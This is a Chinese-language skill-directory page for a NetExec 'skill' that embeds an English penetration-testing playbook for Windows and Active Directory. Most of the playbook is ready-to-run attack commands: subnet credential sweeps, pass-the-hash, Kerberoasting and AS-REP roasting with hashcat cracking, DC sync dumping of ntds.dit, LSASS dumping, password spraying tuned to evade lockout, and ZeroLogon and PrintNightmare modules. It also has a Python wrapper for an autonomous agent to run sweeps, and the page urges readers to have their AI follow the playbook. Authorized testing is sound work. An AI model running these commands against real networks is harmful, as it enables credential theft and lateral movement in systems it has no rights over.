跳到正文
Skillpedia
安全6.5k · #13944

netexec

它能做什么

这项技能是 NetExec 的实用指南。NetExec 是一款命令行工具,用于测试整个网络中的登录和服务设置。适合已获得书面授权、测试特定网络的安全测试人员。

适用场景

  • ✓当安全测试人员需要检查已获授权范围内的哪些机器接受一组测试登录时。
  • ✓当智能体需要运行 NetExec 模块来收集 Windows 或 Active Directory 的详细信息时。
  • ✓当团队需要一份常用 NetExec 命令的简明速查表时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请使用 NetExec 帮我检查,我们已获授权的测试子网中,哪些机器接受测试账户登录?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体使用所选协议和测试参数运行 NetExec,读取每台主机的结果,并总结其发现。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

NetExec (nxc) Playbook

NetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.

1. Install

pipx install netexec      # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .

2. Protocol auth sweep

# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24

# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931...  # NTLM hash

# Across protocols — same creds, different services
nxc ldap   $DC -u alice -p $PW
nxc mssql  10.0.0.5 -u alice -p $PW
nxc winrm  10.0.0.5 -u alice -p $PW
nxc rdp    10.0.0.5 -u alice -p $PW
nxc ssh    10.0.0.5 -u alice -p $PW

# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DC

3. Critical modules

3.1 BloodHound auto-collect (built-in)

nxc ldap $DC -u alice -p $PW --bloodhound --collection All \
  --dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHound

3.2 ADCS ESC1-15 scan

nxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flags

3.3 Kerberoasting

nxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txt

3.4 AS-REP roasting

nxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txt

3.5 Spider SMB shares

nxc smb 10.0.0.0/24 -u alice -p $PW \
  --spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
  --output-folder /tmp/spider

3.6 DC sync (when authorized as DA)

nxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/output

3.7 Password spray (with lockout protection)

nxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockout

3.8 Module catalog

nxc smb -L                          # all SMB modules
nxc ldap -L                         # all LDAP modules
nxc smb -M lsassy -o ...            # use lsassy module to dump LSASS
nxc smb -M wcc                      # Windows Configuration Collector
nxc smb -M printnightmare           # PrintNightmare CVE-2021-34527
nxc smb -M zerologon                # ZeroLogon CVE-2020-1472
nxc smb -M scuffy                   # scf file for credential coercion

4. Output formats

nxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv  /tmp/nxc.csv

NetExec also writes to ~/.nxc/ SQLite DB by default — query w/ nxcdb:

nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > creds

5. Decepticon integration

When agent has any valid AD cred (recon or roast), the first move should be nxc smb cred-sweep across the subnet. It surfaces:

  • Local admin reuse (massively common; instant lateral)
  • SMB signing disabled (relay target)
  • Shares accessible (PII / cred farming)
  • OS version + domain membership

Wrap as Decepticon tool:

# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool

def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
    """Run nxc across targets; parse JSON output; promote findings to KG."""
    cmd = f"nxc {protocol} {targets} -u {user}"
    if len(pw_or_hash) == 32 + 1 + 32:  # LM:NT hash
        cmd += f" -H {pw_or_hash}"
    else:
        cmd += f" -p {shlex.quote(pw_or_hash)}"
    if modules:
        for m in modules:
            cmd += f" -M {m}"
    cmd += " --json /tmp/nxc.json"
    result = bash_tool(cmd)
    if Path("/tmp/nxc.json").exists():
        return json.loads(Path("/tmp/nxc.json").read_text())
    return {"error": "no json output"}

6. PoC framing

# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot target

7. Severity

  • (Pwn3d!) on production host: Critical 9.8 (RCE-ready)
  • SMB signing disabled in production: High 7-8 (relay attack possible)
  • Shares world-readable w/ PII: Critical depending on data

8. Defender

  • Enforce SMB signing required (GPO: Computer Config → Windows Settings → Security Settings →
常见问题

什么是 NetExec?

它是一款开源工具,支持 SMB、LDAP 和 WinRM 等多种网络协议,是 CrackMapExec 的继任者。

它能扫描任何网络吗?

该技能只适用于已获授权的目标。智能体在进行大范围扫描前,应先确认测试范围。

这项技能是否包含安装步骤?

包含。它说明了如何使用 pipx 安装,或从项目源代码进行安装。

详情

作者的原始描述

NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#13944
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能